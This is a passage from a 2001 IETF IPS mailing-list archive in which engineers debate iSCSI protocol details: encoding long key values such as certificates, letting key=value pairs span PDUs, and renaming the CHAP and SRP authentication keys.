pairs. IF we may have key=value pairs arbitrarily span PDUs, then the sending of a long value is done simply by sending one text response PDU after another, some may have nothing but a 4KB "value" component of a key=value pair. The concatenation of the individual "value" components is then done on the Initiator side, through the process of concatenating the text responses (in order, of course). So, am I missing something here? Stephen -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Tuesday, September 18, 2001 9:31 PM To: ips@ece.cmu.edu Subject: RE: iSCSI - long key values Stephen, It is still on the "to consider list". How would that affect the individula value "extension" that we are considering now? Julo "Wheat, Stephen R" on 18-09-2001 17:57:36 Please respond to "Wheat, Stephen R" To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: iSCSI - long key values Julian, Almost a month ago, we had a thread on values spanning PDU boundaries. See: "Re: Target record not to span PDUs?" Anyway, that thread discussion ended without conclusion. I believe Robert Snively's and my proposal to allow records to span PDUs is still valid; I'll let Robert speak for himself. Furthermore, I believe that the proposal would thus avoid this problem you are now addressing, with far less complexity. Please reconsider this proposal. Stephen -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Monday, September 17, 2001 11:26 PM To: ips@ece.cmu.edu Subject: iSCSI - long key values Dear colleagues, Ofer brought recently to my attention that some security key values are likely to exceed our stated limit of 255 bytes for a value. A good example may be a certificate (or chained certificate). We have to enable those to be in the Login phase. To handle this we might want to consider the following options (but not only those): enable a "long hexadecimal coding" that should indicate a "long" value (e.g. use 0L instead of 0x) and raise the limit for those keys to something longer (say 3072 bytes?) enable "concatenated" values and indicate them through a "coding scheme" as follows: the value "0sxx" indicates a name suffix (as in "key = 0s08" means that the keys "key00" , "key01" etc) have to be concatenated use the "suffixed keys" to "build the value" use a named key coding (as in "0Nname" in a value means that you have to use later get=value to get a "binary response" containing the whole binary object) I think that option 2 (limited to a 3 digit prefix?) covers well what we need and offers some extension space and option 1 is probably good enough for certificates. Comments? Julo From owner-ips@ece.cmu.edu Wed Sep 19 18:49:50 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA12079 for ; Wed, 19 Sep 2001 18:49:49 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8JKcjw29744 for ips-outgoing; Wed, 19 Sep 2001 16:38:45 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from clyde.stargateip.com ([209.237.5.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8JKcgP29730 for ; Wed, 19 Sep 2001 16:38:43 -0400 (EDT) Received: from bluestar (dhcp-101.stargateip.com [10.10.5.101]) by clyde.stargateip.com (8.9.1/8.9.1) with SMTP id MAA22104; Wed, 19 Sep 2001 12:13:33 -0700 (PDT) Reply-To: From: "Dev" To: "Wheat, Stephen R" , "'Julian Satran'" , Subject: RE: iSCSI - long key values Date: Wed, 19 Sep 2001 12:25:37 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Importance: Normal In-Reply-To: <638EC1B28663D211AC3E00A0C96B78A8086ABBC6@orsmsx40.jf.intel.com> Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit If a value could span mutliple PDUs (a jumbo string, if you want these strings to be called so..) then it will be helpful to have the value length as below key = length, "value" Thanks Deva Adaptec -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Wheat, Stephen R Sent: Wednesday, September 19, 2001 8:06 AM To: 'Julian Satran'; ips@ece.cmu.edu Subject: RE: iSCSI - long key values Julian, Maybe I'm missing something, but I think the new "value extension" discussion is around how to send very long "values" in a list of key=value pairs. IF we may have key=value pairs arbitrarily span PDUs, then the sending of a long value is done simply by sending one text response PDU after another, some may have nothing but a 4KB "value" component of a key=value pair. The concatenation of the individual "value" components is then done on the Initiator side, through the process of concatenating the text responses (in order, of course). So, am I missing something here? Stephen -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Tuesday, September 18, 2001 9:31 PM To: ips@ece.cmu.edu Subject: RE: iSCSI - long key values Stephen, It is still on the "to consider list". How would that affect the individula value "extension" that we are considering now? Julo "Wheat, Stephen R" on 18-09-2001 17:57:36 Please respond to "Wheat, Stephen R" To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: iSCSI - long key values Julian, Almost a month ago, we had a thread on values spanning PDU boundaries. See: "Re: Target record not to span PDUs?" Anyway, that thread discussion ended without conclusion. I believe Robert Snively's and my proposal to allow records to span PDUs is still valid; I'll let Robert speak for himself. Furthermore, I believe that the proposal would thus avoid this problem you are now addressing, with far less complexity. Please reconsider this proposal. Stephen -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Monday, September 17, 2001 11:26 PM To: ips@ece.cmu.edu Subject: iSCSI - long key values Dear colleagues, Ofer brought recently to my attention that some security key values are likely to exceed our stated limit of 255 bytes for a value. A good example may be a certificate (or chained certificate). We have to enable those to be in the Login phase. To handle this we might want to consider the following options (but not only those): enable a "long hexadecimal coding" that should indicate a "long" value (e.g. use 0L instead of 0x) and raise the limit for those keys to something longer (say 3072 bytes?) enable "concatenated" values and indicate them through a "coding scheme" as follows: the value "0sxx" indicates a name suffix (as in "key = 0s08" means that the keys "key00" , "key01" etc) have to be concatenated use the "suffixed keys" to "build the value" use a named key coding (as in "0Nname" in a value means that you have to use later get=value to get a "binary response" containing the whole binary object) I think that option 2 (limited to a 3 digit prefix?) covers well what we need and offers some extension space and option 1 is probably good enough for certificates. Comments? Julo From owner-ips@ece.cmu.edu Wed Sep 19 19:04:08 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12241 for ; Wed, 19 Sep 2001 19:04:08 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8JMReO12167 for ips-outgoing; Wed, 19 Sep 2001 18:27:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8JMRcP12158 for ; Wed, 19 Sep 2001 18:27:38 -0400 (EDT) Received: from cisco.com (dhcp-161-44-68-173.cisco.com [161.44.68.173]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id SAA25051 for ; Wed, 19 Sep 2001 18:27:32 -0400 (EDT) Message-ID: <3BA91BBC.30D57759@cisco.com> Date: Wed, 19 Sep 2001 17:27:08 -0500 From: Steve Senum X-Mailer: Mozilla 4.73 [en]C-CCK-MCD (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ietf-ips Subject: Re: iSCSI: U= in Authentication References: <499DC368E25AD411B3F100902740AD6507779045@xrose03.rose.hp.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I don't think it should be possible to omit the usernames for AuthMethods SRP and CHAP. On the SRP and CHAP key names, I am mostly netural, though I would prefer ChapId instead of ChapID. Since they are AuthMethod specific though, I don't really see the need to change them. Steve Senum "CONGDON,PAUL (HP-Roseville,ex1)" wrote: > > I agree that more clarification regarding how to associate SCSI Names with > user identities should be provided. I'm not sure if I agree that it should > be possible to omit the names entirely - however. This would provide > another optional way to approach the exchange (may provide or may not) which > adds complexity to this portion of the code, more test cases, more > unnecessary options, etc.. As you've mentioned it may also be different > depending upon the authentication method in use. There is certainly room for > improvement here. > > I have a bit of a gripe about the key=value pairs during authentication > phase in general. First of all, the key names are not very descriptive, > which defeats the purpose of using Text keys in the first place (in my > opinion). Secondly and more importantly, there are key values that are not > unique and depend upon what authentication method is in progress in order to > decode/parse them. For example, A=5 in CHAP for algorithm selection is > completely different that A=2345 in SRP. Also N=initiatorName in CHAP is > totally different than N=5678 in SRP. It would be much easier if the text > command parser didn't have to consider what authentication method was > running and that all key values were unique. Thus I propose making the > following name changes to CHAP and SRP key values. I'm not too concerned > about the exact key names used, just that they are somewhat descriptive and > unique. > > CHAP Key Values > > Old New > --- -------- > A ChapAlgorithm > I ChapID > N ChapUser > C ChapChallenge > R ChapResponse > > SRP Key Values > > Old New > --- --- > U SrpUser > N SrpSafePrime > g SrpGenerator > s SrpSalt > A SrpPubKeyA > B SrpPubKeyB > M SrpSessionKey > HM SrpKeyProof > > Paul > > +------------------------------------------+ > Paul Congdon > HP ProCurve Networking > Hewlett Packard Company > 8000 Foothills Blvd - M/S 5662 > Roseville, CA 95747 > phone: 916-785-5753 > email: paul_congdon@hp.com > +------------------------------------------+ > > -----Original Message----- > From: John Hufferd [mailto:hufferd@us.ibm.com] > Sent: Tuesday, September 18, 2001 6:22 PM > To: Julian Satran; Ofer_Biran/Haifa/IBM%IBMUS; mbakke@cisco.com; > jtseng@NishanSystems.com > Cc: ips@ece.cmu.edu > Subject: iSCSI: U= in Authentication > > Folks, > I think we should indicate in the Security section of the document how the > security Authentication process might validate that the iSCSI Initiator > Name sent in the Initial Login, has something approprate to do with the > "user" being authenticated. (Otherwise, you could authenticate a user and > that user could claim/use any iSCSI Initiator Name in the InitiatorName > key=value pair. > > It is kind of obvious how to relate the U= to the approprate iSCSI > Initiator Name (in the case of SRP), and little less obvious with Chap, > though I think it would be the N= parameter. However, it is really not > obvious when using Kerberos, and SPKM. > > It also should be possible for the initiator not to send another UserID, if > the Security Data Base the customer uses can support the iSCSI Initiator > Name as a UserID. That is, it should be possible for the U= > parameter not to be sent,and have that imply the value of is the > iSCSI Initiator Node Name entered previously as a value in the InitiaorName > key=value pair. Same way with the N= in Chap. > > However, it is not clear, how you do similar things with Kerberos, and > SPKM. > > What do you folks think about this, and how should we document it? > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Wed Sep 19 19:05:54 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12312 for ; Wed, 19 Sep 2001 19:05:52 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8JMdPQ12859 for ips-outgoing; Wed, 19 Sep 2001 18:39:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from calliope1.fm.intel.com (fmfdns01.fm.intel.com [132.233.247.10]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8JMdNP12855 for ; Wed, 19 Sep 2001 18:39:24 -0400 (EDT) Received: from fmsmsxvs042.fm.intel.com (fmsmsxv042-1.fm.intel.com [132.233.48.110]) by calliope1.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.42 2001/09/04 16:24:19 root Exp $) with SMTP id WAA28992 for ; Wed, 19 Sep 2001 22:39:19 GMT Received: from fmsmsx29.FM.INTEL.COM ([132.233.42.29]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.1.6) with SMTP id M2001091915384500881 ; Wed, 19 Sep 2001 15:38:45 -0700 Received: by fmsmsx29.fm.intel.com with Internet Mail Service (5.5.2653.19) id ; Wed, 19 Sep 2001 15:39:22 -0700 Message-ID: <638EC1B28663D211AC3E00A0C96B78A8086ABBDD@orsmsx40.jf.intel.com> From: "Wheat, Stephen R" To: "'KRUEGER,MARJORIE (HP-Roseville,ex1)'" , ips@ece.cmu.edu Subject: RE: iSCSI - long key values Date: Wed, 19 Sep 2001 15:39:14 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Good point, Marjorie, I hadn't considered that. I just wanted to avoid having "length" always being provided. Julian, I know it is a small thing in the grand scheme of things, but can we pursue closure (consensus) on key=value pairs spanning PDUs, which would also facilitate the "jumbo" strings? Stephen -----Original Message----- From: KRUEGER,MARJORIE (HP-Roseville,ex1) [mailto:marjorie_krueger@hp.com] Sent: Wednesday, September 19, 2001 3:12 PM To: ips@ece.cmu.edu Subject: RE: iSCSI - long key values You should know by the key which values will be allowed to be long. So no special character is necessary, when you see "key", expect length, value? Marjorie > -----Original Message----- > From: Wheat, Stephen R [mailto:stephen.r.wheat@intel.com] > Sent: Wednesday, September 19, 2001 2:09 PM > To: 'deva@stargateip.com'; ips@ece.cmu.edu > Subject: RE: iSCSI - long key values > > > I don't know if like that idea or not. But, if we did want > to do this, then > I propose a syntax variation so as to indicate when the > length field would > be there and when it would not. > > Something akin to: > > key=value[,value]* > > or > > key>=length,value[,value]* > ^---- pick some character not allowed in a "key" name. > > Stephen > > > -----Original Message----- > From: Dev [mailto:deva@stargateip.com] > Sent: Wednesday, September 19, 2001 12:26 PM > To: Wheat, Stephen R; 'Julian Satran'; ips@ece.cmu.edu > Subject: RE: iSCSI - long key values > > > If a value could span mutliple PDUs (a jumbo string, if you want these > strings to be called so..) > then it will be helpful to have the value length as below > key = length, "value" > > Thanks > > Deva > Adaptec > > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Wheat, Stephen R > Sent: Wednesday, September 19, 2001 8:06 AM > To: 'Julian Satran'; ips@ece.cmu.edu > Subject: RE: iSCSI - long key values > > > Julian, > > Maybe I'm missing something, but I think the new "value extension" > discussion is around how to send very long "values" in a list > of key=value > pairs. IF we may have key=value pairs arbitrarily span PDUs, then the > sending of a long value is done simply by sending one text > response PDU > after another, some may have nothing but a 4KB "value" component of a > key=value pair. The concatenation of the individual "value" > components is > then done on the Initiator side, through the process of > concatenating the > text responses (in order, of course). > > So, am I missing something here? > > Stephen > > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Tuesday, September 18, 2001 9:31 PM > To: ips@ece.cmu.edu > Subject: RE: iSCSI - long key values > > > Stephen, > > It is still on the "to consider list". > > How would that affect the individula value "extension" that we are > considering now? > > Julo > > "Wheat, Stephen R" on 18-09-2001 17:57:36 > > Please respond to "Wheat, Stephen R" > > To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu > cc: > Subject: RE: iSCSI - long key values > > > > Julian, > > Almost a month ago, we had a thread on values spanning PDU boundaries. > > See: "Re: Target record not to span PDUs?" > > Anyway, that thread discussion ended without conclusion. I > believe Robert > Snively's and my proposal to allow records to span PDUs is > still valid; > I'll > let Robert speak for himself. > > Furthermore, I believe that the proposal would thus avoid > this problem you > are now addressing, with far less complexity. > > Please reconsider this proposal. > > Stephen > > > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Monday, September 17, 2001 11:26 PM > To: ips@ece.cmu.edu > Subject: iSCSI - long key values > > > Dear colleagues, > > Ofer brought recently to my attention that some security key > values are > likely to exceed our stated limit > of 255 bytes for a value. A good example may be a > certificate (or chained > certificate). > > We have to enable those to be in the Login phase. > > To handle this we might want to consider the following > options (but not > only those): > > enable a "long hexadecimal coding" that should indicate a > "long" value > (e.g. use 0L instead of 0x) and raise the limit for those keys to > something longer (say 3072 bytes?) > enable "concatenated" values and indicate them through a > "coding scheme" > as follows: > the value "0sxx" indicates a name suffix (as in "key = > 0s08" means > that the keys "key00" , "key01" etc) have to be concatenated > use the "suffixed keys" to "build the value" > use a named key coding (as in "0Nname" in a value means > that you have to > use later get=value to get a "binary response" containing the whole > binary object) > > > I think that option 2 (limited to a 3 digit prefix?) covers > well what we > need and offers some extension space and option 1 is probably > good enough > for certificates. > > Comments? > > Julo > > > > From owner-ips@ece.cmu.edu Wed Sep 19 19:06:35 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12344 for ; Wed, 19 Sep 2001 19:06:33 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8JMCRP11232 for ips-outgoing; Wed, 19 Sep 2001 18:12:27 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8JMCPP11226 for ; Wed, 19 Sep 2001 18:12:25 -0400 (EDT) Received: from xparelay1.corp.hp.com (unknown [15.58.136.173]) by palrel11.hp.com (Postfix) with ESMTP id 13D2B211D2 for ; Wed, 19 Sep 2001 15:12:19 -0700 (PDT) Received: from xpabh4.corp.hp.com (xpabh4.corp.hp.com [15.58.136.1]) by xparelay1.corp.hp.com (Postfix) with ESMTP id CF8441F612 for ; Wed, 19 Sep 2001 15:12:18 -0700 (PDT) Received: by xpabh4.corp.hp.com with Internet Mail Service (5.5.2653.19) id ; Wed, 19 Sep 2001 15:12:18 -0700 Message-ID: <6BD67FFB937FD411A04F00D0B74FE87805CCF113@xrose06.rose.hp.com> From: "KRUEGER,MARJORIE (HP-Roseville,ex1)" To: ips@ece.cmu.edu Subject: RE: iSCSI - long key values Date: Wed, 19 Sep 2001 15:12:18 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk You should know by the key which values will be allowed to be long. So no special character is necessary, when you see "key", expect length, value? Marjorie > -----Original Message----- > From: Wheat, Stephen R [mailto:stephen.r.wheat@intel.com] > Sent: Wednesday, September 19, 2001 2:09 PM > To: 'deva@stargateip.com'; ips@ece.cmu.edu > Subject: RE: iSCSI - long key values > > > I don't know if like that idea or not. But, if we did want > to do this, then > I propose a syntax variation so as to indicate when the > length field would > be there and when it would not. > > Something akin to: > > key=value[,value]* > > or > > key>=length,value[,value]* > ^---- pick some character not allowed in a "key" name. > > Stephen > > > -----Original Message----- > From: Dev [mailto:deva@stargateip.com] > Sent: Wednesday, September 19, 2001 12:26 PM > To: Wheat, Stephen R; 'Julian Satran'; ips@ece.cmu.edu > Subject: RE: iSCSI - long key values > > > If a value could span mutliple PDUs (a jumbo string, if you want these > strings to be called so..) > then it will be helpful to have the value length as below > key = length, "value" > > Thanks > > Deva > Adaptec > > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Wheat, Stephen R > Sent: Wednesday, September 19, 2001 8:06 AM > To: 'Julian Satran'; ips@ece.cmu.edu > Subject: RE: iSCSI - long key values > > > Julian, > > Maybe I'm missing something, but I think the new "value extension" > discussion is around how to send very long "values" in a list > of key=value > pairs. IF we may have key=value pairs arbitrarily span PDUs, then the > sending of a long value is done simply by sending one text > response PDU > after another, some may have nothing but a 4KB "value" component of a > key=value pair. The concatenation of the individual "value" > components is > then done on the Initiator side, through the process of > concatenating the > text responses (in order, of course). > > So, am I missing something here? > > Stephen > > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Tuesday, September 18, 2001 9:31 PM > To: ips@ece.cmu.edu > Subject: RE: iSCSI - long key values > > > Stephen, > > It is still on the "to consider list". > > How would that affect the individula value "extension" that we are > considering now? > > Julo > > "Wheat, Stephen R" on 18-09-2001 17:57:36 > > Please respond to "Wheat, Stephen R" > > To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu > cc: > Subject: RE: iSCSI - long key values > > > > Julian, > > Almost a month ago, we had a thread on values spanning PDU boundaries. > > See: "Re: Target record not to span PDUs?" > > Anyway, that thread discussion ended without conclusion. I > believe Robert > Snively's and my proposal to allow records to span PDUs is > still valid; > I'll > let Robert speak for himself. > > Furthermore, I believe that the proposal would thus avoid > this problem you > are now addressing, with far less complexity. > > Please reconsider this proposal. > > Stephen > > > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Monday, September 17, 2001 11:26 PM > To: ips@ece.cmu.edu > Subject: iSCSI - long key values > > > Dear colleagues, > > Ofer brought recently to my attention that some security key > values are > likely to exceed our stated limit > of 255 bytes for a value. A good example may be a > certificate (or chained > certificate). > > We have to enable those to be in the Login phase. > > To handle this we might want to consider the following > options (but not > only those): > > enable a "long hexadecimal coding" that should indicate a > "long" value > (e.g. use 0L instead of 0x) and raise the limit for those keys to > something longer (say 3072 bytes?) > enable "concatenated" values and indicate them through a > "coding scheme" > as follows: > the value "0sxx" indicates a name suffix (as in "key = > 0s08" means > that the keys "key00" , "key01" etc) have to be concatenated > use the "suffixed keys" to "build the value" > use a named key coding (as in "0Nname" in a value means > that you have to > use later get=value to get a "binary response" containing the whole > binary object) > > > I think that option 2 (limited to a 3 digit prefix?) covers > well what we > need and offers some extension space and option 1 is probably > good enough > for certificates. > > Comments? > > Julo > > > > From owner-ips@ece.cmu.edu Wed Sep 19 19:08:55 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12383 for ; Wed, 19 Sep 2001 19:08:53 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8JMEcg11398 for ips-outgoing; Wed, 19 Sep 2001 18:14:38 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8JMEbP11392 for ; Wed, 19 Sep 2001 18:14:37 -0400 (EDT) Received: from cisco.com (dhcp-161-44-68-173.cisco.com [161.44.68.173]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id SAA09371 for ; Wed, 19 Sep 2001 18:14:31 -0400 (EDT) Message-ID: <3BA918AF.E919EA5D@cisco.com> Date: Wed, 19 Sep 2001 17:14:07 -0500 From: Steve Senum X-Mailer: Mozilla 4.73 [en]C-CCK-MCD (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ietf-ips Subject: Re: iSCSI - long key values References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian, I talked this over with several developers here, and our current opinion is: 1. Allow longer key values (your option #1). 2. If that is not enough, increase the max text section size. 3. If that is not enough, allow multiple text sections to be concatenated. We would prefer to avoid having to reassemble a key value from multiple pieces (your option #2). Regards, Steve Senum Julian Satran wrote: > > Dear colleagues, > > Ofer brought recently to my attention that some security key values are > likely to exceed our stated limit > of 255 bytes for a value. A good example may be a certificate (or chained > certificate). > > We have to enable those to be in the Login phase. > > To handle this we might want to consider the following options (but not > only those): > > enable a "long hexadecimal coding" that should indicate a "long" value > (e.g. use 0L instead of 0x) and raise the limit for those keys to > something longer (say 3072 bytes?) > enable "concatenated" values and indicate them through a "coding scheme" > as follows: > the value "0sxx" indicates a name suffix (as in "key = 0s08" means > that the keys "key00" , "key01" etc) have to be concatenated > use the "suffixed keys" to "build the value" > use a named key coding (as in "0Nname" in a value means that you have to > use later get=value to get a "binary response" containing the whole > binary object) > > I think that option 2 (limited to a 3 digit prefix?) covers well what we > need and offers some extension space and option 1 is probably good enough > for certificates. > > Comments? > > Julo From owner-ips@ece.cmu.edu Wed Sep 19 20:01:42 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA12753 for ; Wed, 19 Sep 2001 20:01:42 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8JMxex13923 for ips-outgoing; Wed, 19 Sep 2001 18:59:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from msgbas1.cos.agilent.com (msgbas1x.cos.agilent.com [192.25.240.36]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8JMxcP13915 for ; Wed, 19 Sep 2001 18:59:38 -0400 (EDT) Received: from msgrel1.cos.agilent.com (msgrel1.cos.agilent.com [130.29.152.77]) by msgbas1.cos.agilent.com (Postfix) with ESMTP id A27E52EA3 for ; Wed, 19 Sep 2001 16:59:37 -0600 (MDT) Received: from acropora.rose.agilent.com (acropora.rose.agilent.com [130.30.179.5]) by msgrel1.cos.agilent.com (Postfix) with ESMTP id 27F773E5 for ; Wed, 19 Sep 2001 16:59:37 -0600 (MDT) Received: (from dbs@localhost) by acropora.rose.agilent.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.1.0) id PAA18234 for ips@ece.cmu.edu; Wed, 19 Sep 2001 15:58:40 -0700 (PDT) From: Dave Sheehy Message-Id: <200109192258.PAA18234@acropora.rose.agilent.com> Subject: RE: iSCSI - long key values To: ips@ece.cmu.edu (IETF IP SAN Reflector) Date: Wed, 19 Sep 2001 15:58:39 PDT X-Mailer: Elm [revision: 212.4] Sender: owner-ips@ece.cmu.edu Precedence: bulk > So, am I missing something here? How do you avoid overflowing either side? Right now, each side only has to buffer one PDU worth of data (per connection). Your proposal increases that requirement to at least 2 PDUs. Dave Sheehy From owner-ips@ece.cmu.edu Wed Sep 19 20:02:30 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA12766 for ; Wed, 19 Sep 2001 20:02:30 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8JMxgB13931 for ips-outgoing; Wed, 19 Sep 2001 18:59:42 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8JMxdP13922 for ; Wed, 19 Sep 2001 18:59:40 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1932301; Wed, 19 Sep 2001 15:59:40 -0700 Message-ID: <3BA92440.640A5F02@redswitch.com> Date: Wed, 19 Sep 2001 16:03:28 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Julian Satran , ips@ece.cmu.edu Subject: iSCSI - A Typo? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian: Refering to iSCSI-07 bottom of Page 31: On the incoming path, the Synch and Steering layer does not change the way TCP notifies iSCSI about in-order data arrival. All data placements, in-order or out-of-order, performed by the Synch and Steering layer are hidden from iSCSI "will" conventional, in order, data arrival notifications generated by TCP are passed through to iSCSI. Everything makes sense up the "will". Maybe you met "when"? Thanks for the help. Thomas Dineen From owner-ips@ece.cmu.edu Wed Sep 19 20:04:48 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA12788 for ; Wed, 19 Sep 2001 20:04:47 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8JNOqS15303 for ips-outgoing; Wed, 19 Sep 2001 19:24:52 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from calliope1.fm.intel.com (fmfdns01.fm.intel.com [132.233.247.10]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8JNOoP15299 for ; Wed, 19 Sep 2001 19:24:51 -0400 (EDT) Received: from fmsmsxvs040.fm.intel.com (fmsmsxv040-1.fm.intel.com [132.233.48.108]) by calliope1.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.42 2001/09/04 16:24:19 root Exp $) with SMTP id XAA29871 for ; Wed, 19 Sep 2001 23:24:44 GMT Received: from fmsmsx28.fm.intel.com ([132.233.42.28]) by fmsmsxvs040.fm.intel.com (NAVGW 2.5.1.6) with SMTP id M2001091916242224530 ; Wed, 19 Sep 2001 16:24:22 -0700 Received: by fmsmsx28.fm.intel.com with Internet Mail Service (5.5.2653.19) id ; Wed, 19 Sep 2001 16:24:49 -0700 Message-ID: <638EC1B28663D211AC3E00A0C96B78A8086ABBE2@orsmsx40.jf.intel.com> From: "Wheat, Stephen R" To: "'Dave Sheehy'" , ips@ece.cmu.edu Subject: RE: iSCSI - long key values Date: Wed, 19 Sep 2001 16:24:33 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I don't know why that is any different than receiving a long list of key=value pairs that you want to hold onto until you have them all, prior to operating on any of them, given you don't know that they'll arrive in any given order that will yield one's ability to process them "on-the-fly" without possibly having to undo actions. At the very least, the text has to go somewhere anyway. To "remember" where to keep copying incoming text shouldn't be overly burdensome for the Initiator. Stephen -----Original Message----- From: Dave Sheehy [mailto:dbs@acropora.rose.agilent.com] Sent: Wednesday, September 19, 2001 3:59 PM To: ips@ece.cmu.edu Subject: RE: iSCSI - long key values > So, am I missing something here? How 